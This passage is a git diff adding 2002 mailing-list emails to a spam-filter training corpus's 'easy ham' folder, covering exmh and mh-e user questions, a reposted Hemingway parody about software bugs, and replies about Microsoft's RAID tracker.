+I useta use mh-e regularly, but I never figured out whether it could +handle exmh's multidrop mechanism, which is something I've grown to +rely on. Does that work in recent mh-e versions? I'd love to use +mh-e when reading mail remotely, if it can handle my multiple-inbox- +folders setup... + + regards, tom lane + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00775.b349859dad830b699c93d3c8e14b3ab2 b/bayes/spamham/easy_ham_2/00775.b349859dad830b699c93d3c8e14b3ab2 new file mode 100644 index 0000000..ec1e411 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00775.b349859dad830b699c93d3c8e14b3ab2 @@ -0,0 +1,92 @@ +From exmh-users-admin@redhat.com Wed Aug 7 06:56:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1173B440E5 + for ; Wed, 7 Aug 2002 01:56:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 06:56:42 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g775uZk12721 for + ; Wed, 7 Aug 2002 06:56:35 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 284C83F2C1; Wed, 7 Aug 2002 + 01:55:02 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 7020D3F2C1 + for ; Wed, 7 Aug 2002 01:53:30 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g775rTf08983 for exmh-users@listman.redhat.com; Wed, 7 Aug 2002 + 01:53:29 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g775rTq08979 for + ; Wed, 7 Aug 2002 01:53:29 -0400 +Received: from dingo.home.kanga.nu (ocker.kanga.nu [198.144.204.213]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g775eSl32271 for + ; Wed, 7 Aug 2002 01:40:28 -0400 +Received: from localhost ([127.0.0.1] helo=dingo.home.kanga.nu) by + dingo.home.kanga.nu with esmtp (Exim 3.35 #1 (Debian)) id 17cJl9-00053u-00 + for ; Tue, 06 Aug 2002 22:53:27 -0700 +Received: from localhost ([127.0.0.1] helo=kanga.nu) by + dingo.home.kanga.nu with esmtp (Exim 3.35 #1 (Debian)) id 17cJl8-00053n-00 + for ; Tue, 06 Aug 2002 22:53:26 -0700 +To: exmh-users@spamassassin.taint.org +Subject: Re: curses interface to nmh +In-Reply-To: Message from Tom Lane of + "Wed, 07 Aug 2002 01:38:55 EDT." + <12948.1028698735@sss.pgh.pa.us> +References: <20020806014000.48D429E@whatexit.org> + <4058.1028618719@kanga.nu> <12948.1028698735@sss.pgh.pa.us> +X-Face: ?^_yw@fA`CEX&}--=*&XqXbF-oePvxaT4(kyt\nwM9]{]N!>b^K}-Mb9 + YH%saz^>nq5usBlD"s{(.h'_w|U^3ldUq7wVZz$`u>MB(-4$f\a6Eu8.e=Pf\ +X-Image-Url: http://www.kanga.nu/~claw/kanga.face.tiff +X-Url: http://www.kanga.nu/~claw/ +Message-Id: <19454.1028699606@kanga.nu> +X-Envelope-To: exmh-users@spamassassin.taint.org +From: J C Lawrence +X-Delivery-Agent: TMDA/0.58 +X-Tmda-Fingerprint: 4WxStwUoFvwYKxVlV7+UNjVjLUo +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 22:53:26 -0700 + +On Wed, 07 Aug 2002 01:38:55 -0400 +Tom Lane wrote: + +> I useta use mh-e regularly, but I never figured out whether it could +> handle exmh's multidrop mechanism, which is something I've grown to +> rely on. Does that work in recent mh-e versions? I'd love to use +> mh-e when reading mail remotely, if it can handle my multiple-inbox- +> folders setup... + +I've no idea. Have you tried asking on the MH-E lists? + +-- +J C Lawrence +---------(*) Satan, oscillate my metallic sonatas. +claw@kanga.nu He lived as a devil, eh? +http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00776.7df92458e9cf04b8873c406bde7d2fbe b/bayes/spamham/easy_ham_2/00776.7df92458e9cf04b8873c406bde7d2fbe new file mode 100644 index 0000000..94c6bea --- /dev/null +++ b/bayes/spamham/easy_ham_2/00776.7df92458e9cf04b8873c406bde7d2fbe @@ -0,0 +1,58 @@ +From fork-admin@xent.com Wed Aug 14 11:01:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A135743C36 + for ; Wed, 14 Aug 2002 05:52:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7DJL0415153 for ; + Tue, 13 Aug 2002 20:21:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6F2E32940A6; Tue, 13 Aug 2002 12:19:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Boron.MeepZor.Com (i.meepzor.com [204.146.167.214]) by + xent.com (Postfix) with ESMTP id 263E72940A5 for ; + Tue, 13 Aug 2002 12:18:17 -0700 (PDT) +Received: from Golux.Com (dmz-firewall [206.199.198.4]) by + Boron.MeepZor.Com (8.11.6/8.11.6) with ESMTP id g7DJJKR20997; + Tue, 13 Aug 2002 15:19:20 -0400 +Message-Id: <3D595E66.25A7C063@Golux.Com> +From: Rodent of Unusual Size +Organization: The Apache Software Foundation +X-Mailer: Mozilla 4.79 [en] (WinNT; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: A message for our times +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 13 Aug 2002 15:30:46 -0400 + +I'm not up to forking the text, but for your entertainment: + +http://www.kanga.nu/~claw/bug_count.html +-- +#ken P-)} + +Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ +Author, developer, opinionist http://Apache-Server.Com/ + +"Millennium hand and shrimp!" +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00777.a45ca2c13a7b315320be10b4aec366d4 b/bayes/spamham/easy_ham_2/00777.a45ca2c13a7b315320be10b4aec366d4 new file mode 100644 index 0000000..320807d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00777.a45ca2c13a7b315320be10b4aec366d4 @@ -0,0 +1,139 @@ +From fork-admin@xent.com Wed Aug 14 11:01:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A1C8043C45 + for ; Wed, 14 Aug 2002 05:52:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7DK22416300 for ; + Tue, 13 Aug 2002 21:02:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C917F2940AA; Tue, 13 Aug 2002 13:00:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [207.5.62.130]) by xent.com (Postfix) + with ESMTP id 5E1C32940AA for ; Tue, 13 Aug 2002 12:59:26 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Tue, 13 Aug 2002 19:59:26 -08:00 +Message-Id: <3D59651E.3040800@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt 5.00.2919.6900 DM (Nigerian Scammer Special Edition) +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Rodent of Unusual Size +Cc: Flatware or Road Kill? +Subject: Re: A message for our times +References: <3D595E66.25A7C063@Golux.Com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 13 Aug 2002 12:59:26 -0700 + +Rodent of Unusual Size wrote: +> I'm not up to forking the text, but for your entertainment: +> +> http://www.kanga.nu/~claw/bug_count.html + +Fine, *I'll* fork it. This piece has been up on the wall of our +CTO's office for years. It deserves to be forked, or even reforked. + +- Joe + +(BTW, RAID is the home-grown bug tracking system used at Microsoft. +See e.g. http://www.stsc.hill.af.mil/CrossTalk/1995/oct/Shippin.asp. +It was a fine tool, better than any other I've had to use...) + + + +The Bug Count Also Rises + + +by John Browne +(Imitation Hemingway Contest Winner) + +In the fall of that year the rains fell as usual and washed the leaves +of the dust and dripped from the leaves onto the ground. The shuttles +drove through the rainy streets and took the people to meetings, then +later brought them back, their tires spraying the mist into the air. + +Many days he stood for a long time and watched the rain and the shuttles +and drank his double-tall mochas. With the mochas he was strong. + +Hernando who worked down the hall and who was large with microbrews came +to him and told him that the ship day was upon them but the bugs were +not yet out. The bugs which were always there even when you were in +Cafes late at night sipping a Redhook or a double-tall mocha and you +thought you were safe but they were there and although Enrico kept the +floor swept clean and the mochas were hot the bugs were there and they +ate at you. + +When Hernando told him this he asked how many bugs. "The RAID is huge +with bugs," Hernando said. "The bugs are infinite." + +"Why do you ask me? You know I cannot do this thing anymore with the bugs." + +"Once you were great with the bugs," Hernando said. "No one was +greater," he said again. "Even Prado." + +"Prado? What of Prado? Let Prado fix the bugs." + +Hernando shrugged. "Prado is finished. He was gored by three Sev 2's in +Chicago. All he does now is drink herb tea and play with his screensavers." + +"Herb tea?" + +"It is true, my friend." Hernando shrugged again. Later he went to his +office and sat in the dark for a long time. Then he sent e-mail to Michaels. + +Michaels came to him while he was sipping a mocha. They sat silently for +awhile, then he asked Michaels, "I need you to triage for me." + +Michaels looked down. "I don't do that anymore," he said. + +"This is different. The bugs are enormous. There are an infinity of bugs." + +"I'm finished with that," Michaels said again. "I just want to live +quietly." + +"Have you heard Prado is finished? He was badly gored. Now he can only +drink herb tea." + +"Herb tea?" Michaels said. + +"It is true," he said sorrowfully. + +Michaels stood up. "Then I will do it, my friend," he said formally. "I +will do it for Prado, who was once great with the bugs. I will do it for +the time we filled Prado's office with bouncy balls, and for the time +Prado wore his nerf weapons in the marketing hall and slew all of them +with no fear and only a great joy at the combat. I will do it for all +the pizza we ate and the bottles of Coke we drank." + +Together they walked slowly back, knowing it would be good. As they +walked the rain dripped softly from the leaves, and the shuttles carried +the bodies back from the meetings. + +-- +The Combatant State is your father and your mother, your only +protector, the totality of your interests. No discipline can +be stern enough for the man who denies that by word or deed. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00778.872cb9fec7cf22289b5729b680f7765e b/bayes/spamham/easy_ham_2/00778.872cb9fec7cf22289b5729b680f7765e new file mode 100644 index 0000000..b8aaa4f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00778.872cb9fec7cf22289b5729b680f7765e @@ -0,0 +1,69 @@ +From fork-admin@xent.com Wed Aug 14 11:01:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 28A444414D + for ; Wed, 14 Aug 2002 05:52:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7DL60418149 for ; + Tue, 13 Aug 2002 22:06:00 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EC8932940B4; Tue, 13 Aug 2002 14:04:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id ED0962940AA for ; + Tue, 13 Aug 2002 14:03:35 -0700 (PDT) +Received: from maya.dyndns.org (ts5-014.ptrb.interhop.net + [165.154.190.78]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7DKcmw25990; Tue, 13 Aug 2002 16:38:49 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id D758B1C3B6; + Tue, 13 Aug 2002 17:03:50 -0400 (EDT) +To: "Joseph S. Barrera III" +Cc: Rodent of Unusual Size , + Flatware or Road Kill? +Subject: Re: A message for our times +References: <3D595E66.25A7C063@Golux.Com> <3D59651E.3040800@barrera.org> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 13 Aug 2002 17:03:50 -0400 + +>>>>> "J" == Joseph S Barrera, writes: + + J> Fine, *I'll* fork it. This piece has been up on the wall of our + J> CTO's office for years. It deserves to be forked, or even + J> reforked. + +Any idea of the date of this "Hemingway Contest" claim? Apparently +RAID places it c.1995 but I'm just curious as to how many years this +may have been out there. + + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00779.447369a2496e46d8e73dec75a8e3885c b/bayes/spamham/easy_ham_2/00779.447369a2496e46d8e73dec75a8e3885c new file mode 100644 index 0000000..3fcf04a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00779.447369a2496e46d8e73dec75a8e3885c @@ -0,0 +1,65 @@ +From fork-admin@xent.com Wed Aug 14 11:01:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0BB0B4414F + for ; Wed, 14 Aug 2002 05:52:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7E0g1428202 for ; + Wed, 14 Aug 2002 01:42:02 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 308102940BB; Tue, 13 Aug 2002 17:40:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [63.145.31.2]) by xent.com (Postfix) + with ESMTP id 7593A2940B4 for ; Tue, 13 Aug 2002 17:39:57 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Wed, 14 Aug 2002 00:40:42 -08:00 +Message-Id: <3D59A70A.5030506@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt 5.00.2919.6900 DM (Nigerian Scammer Special Edition) +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Gary Lawrence Murphy +Cc: Flatware or Road Kill? +Subject: Re: A message for our times +References: <3D595E66.25A7C063@Golux.Com> <3D59651E.3040800@barrera.org> + +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 13 Aug 2002 17:40:42 -0700 + +Gary Lawrence Murphy wrote: +> Any idea of the date of this "Hemingway Contest" claim? Apparently +> RAID places it c.1995 but I'm just curious as to how many years this +> may have been out there. + +If memory serves, RAID was in use when I joined Microsoft +in 1992 and was still in use when I left in 1999. + +- Joe +-- +The Combatant State is your father and your mother, your only +protector, the totality of your interests. No discipline can +be stern enough for the man who denies that by word or deed. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00780.8a0cad9870b20617d68fff0b4f73c4ad b/bayes/spamham/easy_ham_2/00780.8a0cad9870b20617d68fff0b4f73c4ad new file mode 100644 index 0000000..e2ae90f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00780.8a0cad9870b20617d68fff0b4f73c4ad @@ -0,0 +1,85 @@ +From exmh-users-admin@redhat.com Mon Aug 19 10:56:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3768244110 + for ; Mon, 19 Aug 2002 05:48:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:48:35 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7H1P3613240 for + ; Sat, 17 Aug 2002 02:25:04 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 8A0973EA6A; Fri, 16 Aug 2002 + 21:25:02 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 67C253EA22 + for ; Fri, 16 Aug 2002 21:24:32 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7H1OUK30062 for exmh-users@listman.redhat.com; Fri, 16 Aug 2002 + 21:24:30 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7H1OUY30058 for + ; Fri, 16 Aug 2002 21:24:30 -0400 +Received: from philonline.com ([202.95.239.41]) by mx1.spamassassin.taint.org + (8.11.6/8.11.6) with SMTP id g7H1AMl01127 for ; + Fri, 16 Aug 2002 21:10:26 -0400 +Received: from philonline.com (pfheiss@localhost) by philonline.com + (8.11.6/8.11.6) with ESMTP id g7H1OCX01329 for ; + Sat, 17 Aug 2002 09:24:19 +0800 +Message-Id: <200208170124.g7H1OCX01329@philonline.com> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: No more spell-check +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Peter +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 09:24:12 +0800 + +Hi, + +my exmh-2.5 suddenly will not spell-check anymore. If I click More..., Spell... +a window opens and is gone just as fast. + +I don't recall having tinkered with anything. + +How can I get spell-checking back? + +If you explain please do it so a standard PC user will understand. + +Thanks in advance! + +-- +Peter + + + + + + + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + diff --git a/bayes/spamham/easy_ham_2/00781.0203d246910dfa78467517ba7d45adc6 b/bayes/spamham/easy_ham_2/00781.0203d246910dfa78467517ba7d45adc6 new file mode 100644 index 0000000..4c68071 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00781.0203d246910dfa78467517ba7d45adc6 @@ -0,0 +1,86 @@ +From exmh-users-admin@redhat.com Mon Aug 19 10:56:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 44DA344114 + for ; Mon, 19 Aug 2002 05:48:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:48:47 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7H2b4615725 for + ; Sat, 17 Aug 2002 03:37:05 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 9FE2E3EA6A; Fri, 16 Aug 2002 + 22:37:01 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 081A63EA22 + for ; Fri, 16 Aug 2002 22:36:06 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7H2a3Z04557 for exmh-users@listman.redhat.com; Fri, 16 Aug 2002 + 22:36:03 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7H2a3Y04553 for + ; Fri, 16 Aug 2002 22:36:03 -0400 +Received: from smtp3.knology.net + (IDENT:qmailr@user-24-214-63-13.knology.net [24.214.63.13]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7H2M4l07122 for + ; Fri, 16 Aug 2002 22:22:04 -0400 +Received: (qmail 27310 invoked by uid 8002); 17 Aug 2002 02:36:00 -0000 +Received: from unknown (HELO grumpy.dyndns.org) (24.214.34.52) by + smtp3.knology.net with SMTP; 17 Aug 2002 02:36:00 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: David Kelly +To: exmh-users@spamassassin.taint.org, Peter +Subject: Re: No more spell-check +User-Agent: KMail/1.4.2 +References: <200208170124.g7H1OCX01329@philonline.com> +In-Reply-To: <200208170124.g7H1OCX01329@philonline.com> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200208162135.59839.dkelly@HiWAAY.net> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Fri, 16 Aug 2002 21:35:59 -0500 + +On Friday 16 August 2002 08:24 pm, Peter wrote: +> Hi, +> +> my exmh-2.5 suddenly will not spell-check anymore. If I click +> More..., Spell... a window opens and is gone just as fast. +> +> I don't recall having tinkered with anything. +> +> How can I get spell-checking back? + +It may be a conspiracy against spell checkers. I noticed the Spell icon +was dimmed in Netscape Communicator 4.79 about a month ago. It worked +for years prior. + +-- +David Kelly N4HHE, dkelly@hiwaay.net +===================================================================== +The human mind ordinarily operates at only ten percent of its +capacity -- the rest is overhead for the operating system. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + diff --git a/bayes/spamham/easy_ham_2/00782.4a37d36abd4addbefe173fde38e9e712 b/bayes/spamham/easy_ham_2/00782.4a37d36abd4addbefe173fde38e9e712 new file mode 100644 index 0000000..d90a25b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00782.4a37d36abd4addbefe173fde38e9e712 @@ -0,0 +1,71 @@ +From exmh-users-admin@redhat.com Mon Aug 19 10:58:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A4F3244137 + for ; Mon, 19 Aug 2002 05:50:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:50:31 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7HNd4614984 for + ; Sun, 18 Aug 2002 00:39:05 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 07D4F3EBD2; Sat, 17 Aug 2002 + 19:39:02 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 38D4A3ED10 + for ; Sat, 17 Aug 2002 19:37:34 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7HNbVI15322 for exmh-users@listman.redhat.com; Sat, 17 Aug 2002 + 19:37:31 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7HNbVY15318 for + ; Sat, 17 Aug 2002 19:37:31 -0400 +Received: from washington.bellatlantic.net + (pool-151-203-19-38.bos.east.verizon.net [151.203.19.38]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7HNNTl31163 for + ; Sat, 17 Aug 2002 19:23:29 -0400 +Received: by washington.bellatlantic.net (Postfix, from userid 500) id + 4645C6F980; Sat, 17 Aug 2002 19:40:26 -0400 (EDT) +Received: from washington (localhost [127.0.0.1]) by + washington.bellatlantic.net (Postfix) with ESMTP id 3FBBA6F96C for + ; Sat, 17 Aug 2002 19:40:26 -0400 (EDT) +To: exmh-users@spamassassin.taint.org +Subject: V2.4 keeps incorrectly blue-ing folders +X-Attribution: HWF +X-Uri: +X-Image-Url: http://www.feinsteins.net/harlan/images/harlanface.jpg +From: Harlan Feinstein +Message-Id: <20020817234026.4645C6F980@washington.bellatlantic.net> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 19:40:21 -0400 + +Exmh keeps turning the folder indicator blue for one folder, and I've read all the messages in the folder. Driving me nuts. I've packed the folder, I've deleted the .mh_sequences file there, keeps doing it. Help! + +I've just recently started using 2.4 (was using 2.2), so perhaps there are things that needed to be deleted/changed in my settings? + +--Harlan + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + diff --git a/bayes/spamham/easy_ham_2/00783.c4f1bbae8bcdcbcd25a2090effe54deb b/bayes/spamham/easy_ham_2/00783.c4f1bbae8bcdcbcd25a2090effe54deb new file mode 100644 index 0000000..ac8e12e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00783.c4f1bbae8bcdcbcd25a2090effe54deb @@ -0,0 +1,129 @@ +From exmh-users-admin@redhat.com Mon Aug 19 10:58:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by 